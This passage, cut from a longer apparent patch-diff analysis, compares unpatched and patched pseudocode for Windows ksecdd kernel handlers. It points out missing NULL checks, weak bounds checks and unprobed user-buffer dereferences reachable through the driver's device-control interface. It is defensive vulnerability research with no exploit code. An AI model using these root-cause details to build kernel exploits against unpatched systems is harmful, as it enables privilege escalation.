&lt;p&gt;Note: &lt;code&gt;KsecUpdateUserTokenSessionId&lt;/code&gt; (&lt;code&gt;?KsecUpdateUserTokenSessionId@@YAJPEAXK@Z&lt;/code&gt;) is a &lt;strong&gt;new&lt;/strong&gt; handler present only in the patched build and is part of the same probing wave; it has no unpatched counterpart to diff against.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A caller reaches the ksecdd fast-I/O device-control interface (&lt;code&gt;KsecFastIoDeviceControl&lt;/code&gt;) with one of the CNG kernel IOCTL codes and an input-buffer pointer.&lt;/li&gt;
&lt;li&gt;Unpatched: the handler (e.g. &lt;code&gt;KsecIoctlFreeVm&lt;/code&gt;) reads &lt;code&gt;*inputBuffer&lt;/code&gt; with no &lt;code&gt;ProbeForRead&lt;/code&gt;; &lt;code&gt;KsecIoctlHandleFunctionReturn&lt;/code&gt; forwards the raw user pointer to &lt;code&gt;CallInProgressCompleted&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Patched: the handler calls &lt;code&gt;ProbeForRead&lt;/code&gt; first (and, for &lt;code&gt;KsecIoctlHandleFunctionReturn&lt;/code&gt;/&lt;code&gt;KsecIoctlClientCallback&lt;/code&gt;, captures the buffer into kernel memory) before use.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;EncryptMessage (SSPI SealMessage) — representative of the message/context dispatch fix&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED EncryptMessage @ 0x1C00262D0&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;EncryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KsecddLsaStateRef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// constructed, IsValid() checked&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_KSECDDLSASTATE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// operator _KSECDDLSASTATE*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1c8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// dispatch table base&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000001&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- no NULL check on phContext&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1d0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// unsigned upper-bound only&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80090301&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// no NULL check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;])(&lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// CFG-guarded call, no fn-ptr NULL check&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED EncryptMessage @ 0x180029A70&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;EncryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80090301&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pMessage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80090301&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pkgarg&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KsecddLsaStateRef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_KSECDDLSASTATE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1c8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000001&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1d0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80090301&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_lfence&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;                                      &lt;/span&gt;&lt;span class="c1"&gt;// NEW: speculation barrier&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1c8&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// NEW: table base reloaded post-check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80090301&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80090302&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkgarg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// CFG-guarded call&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;SspiAcceptSecurityContextAsync — new output-buffer-count check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// PATCHED (added):&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pOutput&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cBuffers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// cmp dword [r15+0x4], 0x12 / ja error&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8009035D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// SEC_E_INVALID_TOKEN&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED: no such check; delegates directly to KsecProcessSecurityContext&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;ImportSecurityContextW — new NULL checks&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// PATCHED (added):&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pPackedContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;phContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// cleanup&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED: phContext dereferenced (phContext-&amp;gt;dwUpper = ...) without a NULL check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;KsecIoctlFreeVm — new ProbeForRead (Finding 6)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED KsecIoctlFreeVm @ 0x1C000E91C&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- deref of caller buffer, no ProbeForRead&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObReferenceObjectByHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsProcessType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED KsecIoctlFreeVm @ 0x18000E168&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ProbeForRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObReferenceObjectByHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PsProcessType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span 